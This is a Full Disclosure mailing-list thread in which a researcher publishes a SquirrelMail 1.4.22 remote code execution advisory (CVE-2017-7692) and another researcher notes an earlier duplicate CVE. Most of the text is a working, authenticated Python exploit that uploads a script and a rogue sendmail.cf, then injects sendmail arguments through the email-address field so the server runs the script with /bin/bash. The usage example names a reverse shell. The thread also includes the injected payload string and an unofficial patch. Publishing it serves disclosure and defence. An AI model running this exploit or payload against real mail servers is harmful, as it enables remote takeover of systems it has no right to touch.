Hi Dawid, I tried quite hard to contact the vendor but without success, then I decided to release all the details and a fix.. I think the CVE I got should be rejected and marked as duplicate, but I don't know how to handle situations like this.. any idea? In the meantime, do you want me to put your name in the credits on my website?
Best, Filippo > On 19 Apr 2017, at 16:36, Dawid Golunski <[email protected]> wrote: > > Hi Filippo, > > I actually reported this vulnerability to the vendor at the beginning > of this year. I also got the following CVEID assigned for it in > January: CVE-2017-5181. > I was waiting on the vendor to patch the vulnerability since then > before I publish the details. > > Has he got back to you? > > > > > On Wed, Apr 19, 2017 at 10:07 AM, Filippo Cavallarin > <[email protected]> wrote: >> Advisory ID: SGMA17-001 >> Title: Squirrelmail Remote Code Execution >> Product: Squirrelmail >> Version: 1.4.22 and probably prior >> Vendor: squirrelmail.org >> Type: Command Injection >> Risk level: 4 / 5 >> Credit: [email protected] >> CVE: CVE-2017-7692 >> Vendor notification: 2017-04-04 >> Vendor fix: N/A >> Public disclosure: 2017-04-19 >> >> >> >> >> DETAILS >> >> Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote >> code execution vulnerability because >> it fails to sanitize a string before passing it to a popen call. It's >> possible to exploit this vulnerability to >> execute arbitrary shell commands on the remote server. >> >> The problem is in Deliver_SendMail.class.php on initStream function that >> uses escapeshellcmd() to sanitize the >> sendmail command before executing it. The use of escapeshellcmd() is not >> correct in this case since it don't >> escapes whitespaces allowing the injection of arbitrary command parameters. >> >> $this->sendmail_command = "$sendmail_path $this->sendmail_args >> -f$envelopefrom"; >> $stream = popen(escapeshellcmd($this->sendmail_command), "w"); >> >> >> The $envelopefrom variable is controlled by the attacker, hence it's >> possible to trick sendmail to use an >> attacker-provided configuration file that triggers the execution of an >> arbitrary command. >> >> In order to exploit this vulnerability the MTA in use must be sendmail and >> Squirrelmail must be configured >> to use it as commandline (useSendmail directive of the config file set to >> true). >> Also, the edit_identity directive of the config file must be bet to true, >> but this is the default configuration. >> >> To reproduce the issue follow these steps: >> 1. Create a rogue sendmail.cf that triggers the execution of a >> /usr/bin/touch: >> [...] >> Mlocal, P=/usr/bin/touch, F=lsDFMAw5:/|@qPn9S, >> S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, >> T=DNS/RFC822/X-Unix, >> A=X /tmp/executed >> 2. Upload it as a mail attachment and get it's remote name (ex: >> lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD) >> 3. Go to Options -> Personal Informations and set the following >> payload as Email Address: >> <[email protected] -OQueueDirectory=/tmp -C >> /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD> >> 4. Send an email >> 5. Verify the execution of the command with "ls /tmp/executed" on the >> remote server >> >> >> >> >> PROOF OF CONCEPT >> >> The followig python script exploits this vulnerability to execute an >> attacker provided bash script on the remote server. >> >> BOF >> #!/usr/bin/env python >> # -*- coding: utf-8 -*- >> >> """ >> >> SquirrelMail 1.4.22 Remote Code Execution (authenticated) >> Exploit code for CVE-2017-7692 >> [email protected] >> >> """ >> >> from __future__ import unicode_literals >> import sys >> import os >> import re >> import requests >> >> reload(sys) >> sys.setdefaultencoding('utf8') >> >> >> SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce" >> COMPOSE = "/src/compose.php" >> INFOS = "/src/options.php?optpage=personal" >> SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/" >> # must be enclosed in <> otherwise spaces will be removed .. >> SENDER = "<[email protected] -OQueueDirectory=/tmp -C %s%s>" >> >> >> SESSID = "" >> BASEURL = "" >> >> >> def attach(attachment): >> url = "%s%s" % (BASEURL, COMPOSE) >> token = get_csrf_token(url) >> >> values = { >> "smtoken": token, >> "attach": "add" >> } >> >> try: >> files = {'attachfile': open(attachment,'rb')} >> resp = requests.post(url, files=files, data=values, >> cookies={'SQMSESSID':SESSID}) >> fname = >> re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', >> resp.text) >> if not fname: >> print "\nError: unable to upload file %s" % attachment >> return fname.group(1) >> >> except Exception as e: >> print "\nError: %s" % e >> sys.exit(1) >> >> >> def send(): >> url = "%s%s" % (BASEURL, COMPOSE) >> token = get_csrf_token(url) >> >> values = { >> "smtoken": token, >> "send_to": "root", >> "send": "Send" >> } >> >> try: >> resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID}) >> except Exception as e: >> print "\nError: %s" % e >> sys.exit(1) >> >> >> def set_identity(sender): >> url = "%s%s" % (BASEURL, INFOS) >> token = get_csrf_token(url) >> values = { >> "smtoken": token, >> "optpage": "personal", >> "optmode": "submit", >> "new_email_address": sender, >> "submit_personal": "Submit" >> } >> >> try: >> requests.post(url, data=values, cookies={'SQMSESSID':SESSID}) >> except Exception as e: >> print "\nError: %s" % e >> sys.exit(1) >> >> >> def get_csrf_token(url): >> try: >> body = requests.get(url, cookies={'SQMSESSID':SESSID}).text >> inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE) >> token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0)) >> if token: >> return token.group(1) >> except Exception as e: >> pass >> >> print "\nUnable to get CSRF token" >> sys.exit(1) >> >> def outw(s): >> sys.stdout.write(s) >> sys.stdout.flush() >> >> def main(argv): >> global BASEURL >> global SESSID >> >> if len(argv) != 4: >> print ( >> "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - >> [email protected]\n" >> "The target server must use sendmail and squirrelmail must be >> configured to use /usr/bin/sendmail\n" >> "Usage:\n" >> " %s <url> <session_id> <script>\n" >> " url: the url of squirrelmail\n" >> " session_id: the value of SQMSESSID cookie\n" >> " script: the path to the bash script to be executed on the >> target\n" >> "Example:\n" >> " %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 >> reverseshell.sh" >> ) % (argv[0], argv[0]) >> >> sys.exit(1) >> >> BASEURL = argv[1] >> SESSID = argv[2] >> script = argv[3] >> >> outw("Uploading script ... ") >> script_fname = attach(script) >> print "ok" >> >> >> outw("Generating sendmail.cf ... ") >> try: >> script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname) >> with open(SENDMAILCF, 'w') as f: >> f.write(SENDMAILCF_CONTENT % script_path) >> except Exception as e: >> print "\nError: %s" % e >> sys.exit(1) >> print "ok" >> >> outw("Uploading sendmail.cf ... ") >> smc_fname = attach(SENDMAILCF) >> os.remove(SENDMAILCF) >> print "ok" >> >> outw("Updating user options ... ") >> sender = SENDER % (SQM_ATTACH_PATH, smc_fname) >> set_identity(sender) >> print "ok" >> >> outw("Checking identity field ... ") >> icheck = requests.get("%s%s" % (BASEURL, INFOS), >> cookies={'SQMSESSID':SESSID}).text >> if not smc_fname in icheck: >> print "\nError: unable to set identity field .. maybe squirrelmail is >> configured with edit_identity=false" >> sys.exit(1) >> print "ok" >> >> outw("Executing script ... ") >> send() >> print "ok\n" >> sys.exit(0) >> >> SENDMAILCF_CONTENT = """ >> O >> DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile >> Kdequote dequote >> Scanonify=3 >> R$@ $@ <@> >> R$* $: $1 <@> mark addresses >> R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr> >> R@ $* <@> $: @ $1 unmark @host:... >> R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ] unmark IPv6 addr >> R$* :: $* <@> $: $1 :: $2 unmark node::addr >> R:include: $* <@> $: :include: $1 unmark :include:... >> R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon >> R$* : $* <@> $: $2 strip colon if marked >> R$* <@> $: $1 unmark >> R$* ; $1 strip trailing semi >> R$* < $+ :; > $* $@ $2 :; <@> catch <list:;> >> R$* < $* ; > $1 < $2 > bogus bracketed semi >> R$@ $@ :; <@> >> R$* $: < $1 > housekeeping <> >> R$+ < $* > < $2 > strip excess on left >> R< $* > $+ < $1 > strip excess on right >> R<> $@ < @ > MAIL FROM:<> case >> R< $+ > $: $1 remove housekeeping <> >> R@ $+ , $+ $2 >> R@ [ $* ] : $+ $2 >> R@ $+ : $+ $2 >> R $+ : $* ; @ $+ $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax >> R $+ : $* ; $@ $1 : $2; list syntax >> R$+ @ $+ $: $1 < @ $2 > focus on domain >> R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right >> R$+ < @ $+ > $@ $>Canonify2 $1 < @ $2 > already canonical >> R$- ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > resolve uucp names >> R$+ . $- ! $+ $@ $>Canonify2 $3 < @ $1 . $2 > domain uucps >> R$+ ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > uucp subdomains >> R$* %% $* $1 @ $2 First make them all @s. >> R$* @ $* @ $* $1 %% $2 @ $3 Undo all but the last. >> R$* @ $* $@ $>Canonify2 $1 < @ $2 > Insert < > and finish >> R$* $@ $>Canonify2 $1 >> SCanonify2=96 >> R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all >> R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain >> R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain >> R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [addr] >> R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal >> R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr >> Sfinal=4 >> R$+ :; <@> $@ $1 : handle <list:;> >> R$* <@> $@ handle <> and list:; >> R$* < @ $+ . > $* $1 < @ $2 > $3 >> R$* < @ *LOCAL* > $* $1 < @ $j > $2 >> R$* < $+ > $* $1 $2 $3 defocus >> R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical >> R@ $* $@ @ $1 ... and exit >> R$+ @ $- . UUCP $2!$1 [email protected] => h!u >> R$+ %% $=w @ $=w $1 @ $2 u%%host@host => u@host >> SRecurse=97 >> R$* $: $>canonify $1 >> R$* $@ $>parse $1 >> Sparse=0 >> R$* $: $>Parse0 $1 initial parsing >> R<@> $#local $: <@> special case error msgs >> R$* $: $>ParseLocal $1 handle local hacks >> R$* $: $>Parse1 $1 final parsing >> SParse0 >> R<@> $@ <@> special case error msgs >> R$* : $* ; <@> $#error $@ 5.1.3 $: "553 List:; syntax illegal for >> recipient addresses" >> R@ <@ $* > < @ $1 > catch "@@host" bogosity >> R<@ $+> $#error $@ 5.1.3 $: "553 User address required" >> R$+ <@> $#error $@ 5.1.3 $: "553 Hostname required" >> R$* $: <> $1 >> R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4 >> R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4 >> R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address" >> R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3 >> R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "553 Colon illegal in host name >> part" >> R<> $* $1 >> R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name" >> R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name" >> R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address" >> R$* @ $* < @ $* > $* $#error $@ 5.1.3 $: "553 Invalid route address" >> R$* , $~O $* $#error $@ 5.1.3 $: "553 Invalid route address" >> R$* < @ > $* $@ $>Parse0 $>canonify $1 user@ => user >> R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ... >> R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here >> R< @ $+ > $#error $@ 5.1.3 $: "553 User address required" >> R$* $=O $* < @ $=w . > $@ $>Parse0 $>canonify $1 $2 $3 ...@here -> ... >> R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo" >> R< @ *LOCAL* > $#error $@ 5.1.3 $: "553 User address required" >> R$* $=O $* < @ *LOCAL* > >> $@ $>Parse0 $>canonify $1 $2 $3 ...@*LOCAL* -> ... >> R$* < @ *LOCAL* > $: $1 >> SParse1 >> R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3 numeric internet spec >> R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3 Add smart host to path >> R$* < @ [ $+ ] : > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: >> send >> R$* < @ [ $+ ] : $- : $*> $* $#$3 $@ $4 $: $1 < @ [$2] > $5 smarthost with >> mailer >> R$* < @ [ $+ ] : $+ > $* $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost >> without mailer >> R$=L < @ $=w . > $#local $: @ $1 special local names >> R$+ < @ $=w . > $#local $: $1 regular local name >> R$* < @ $* > $* $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on >> smarthost name >> R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 [email protected] >> R$=L $#local $: @ $1 special local names >> R$+ $#local $: $1 regular local names >> SLocal_localaddr >> Slocaladdr=5 >> R$+ $: $1 $| $>"Local_localaddr" $1 >> R$+ $| $#ok $@ $1 no change >> R$+ $| $#$* $#$2 >> R$+ $| $* $: $1 >> R$+ + * $#local $@ $&h $: $1 >> R$+ + $* $#local $@ + $2 $: $1 + * >> R$+ $: <> $1 >> R< > $+ $: < > < $1 <> $&h > nope, restore +detail >> R< > < $+ <> + $* > $: < > < $1 + $2 > check whether +detail >> R< > < $+ <> $* > $: < > < $1 > else discard >> R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part >> R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra + >> R< > < $+ > $@ $1 no +detail >> R$+ $: $1 <> $&h add +detail back in >> R$+ <> + $* $: $1 + $2 check whether +detail >> R$+ <> $* $: $1 else discard >> R< local : $* > $* $: $>MailerToTriple < local : $1 > $2 no host extension >> R< error : $* > $* $: $>MailerToTriple < error : $1 > $2 no host extension >> R< $~[ : $+ > $+ $: $>MailerToTriple < $1 : $2 > $3 < @ $2 > >> R< $+ > $+ $@ $>MailerToTriple < $1 > $2 < @ $1 > >> SParseLocal=98 >> SEnvFromL >> R<@> $n errors to mailer-daemon >> R@ <@ $*> $n temporarily bypass Sun bogosity >> R$+ $: $>AddDomain $1 add local domain if needed >> R$* $: $>MasqEnv $1 do masquerading >> SEnvToL >> R$+ < @ $* > $: $1 strip host part >> R$+ + $* $: < $&{addr_type} > $1 + $2 mark with addr type >> R<e s> $+ + $* $: $1 remove +detail for sender >> R< $* > $+ $: $2 else remove mark >> SHdrFromL >> R<@> $n errors to mailer-daemon >> R@ <@ $*> $n temporarily bypass Sun bogosity >> R$+ $: $>AddDomain $1 add local domain if needed >> R$* $: $>MasqHdr $1 do masquerading >> SHdrToL >> R$+ $: $>AddDomain $1 add local domain if needed >> R$* $: $>MasqHdr $1 do all-masquerading >> SAddDomain >> R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified >> R$+ $@ $1 < @ *LOCAL* > add local qualification >> Mlocal, P=/bin/bash, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, >> R=EnvToL/HdrToL, >> T=DNS/RFC822/X-Unix, >> A=X %s >> Mprog, P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, >> D=$z:/, >> T=X-Unix/X-Unix/X-Unix, >> A=sh -c $u >> >> """ >> >> if __name__ == '__main__': >> main(sys.argv) >> >> EOF >> >> >> >> >> SOLUTION >> >> Since the vendor did not respond to our mails, no official fix is available. >> However, the following unofficial patch can be used to fix this >> vulnerability. >> >> BOF >> diff -ruN >> squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php >> squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php >> --- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php >> 2011-01-06 02:44:03.000000000 +0000 >> +++ >> squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php >> 2017-04-18 11:42:26.505181944 +0000 >> @@ -93,9 +93,9 @@ >> $envelopefrom = trim($from->mailbox.'@'.$from->host); >> $envelopefrom = >> str_replace(array("\0","\n"),array('',''),$envelopefrom); >> // save executed command for future reference >> - $this->sendmail_command = "$sendmail_path $this->sendmail_args >> -f$envelopefrom"; >> + $this->sendmail_command = escapeshellcmd("$sendmail_path >> $this->sendmail_args -f") . escapeshellarg($envelopefrom); >> // open process handle for writing >> - $stream = popen(escapeshellcmd($this->sendmail_command), "w"); >> + $stream = popen($this->sendmail_command, "w"); >> return $stream; >> } >> EOF >> >> >> >> >> REFERENCES >> >> https://squirrelmail.org/ >> https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execution.html >> >> > > > > -- > Regards, > Dawid Golunski > https://legalhackers.com > t: @dawid_golunski _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
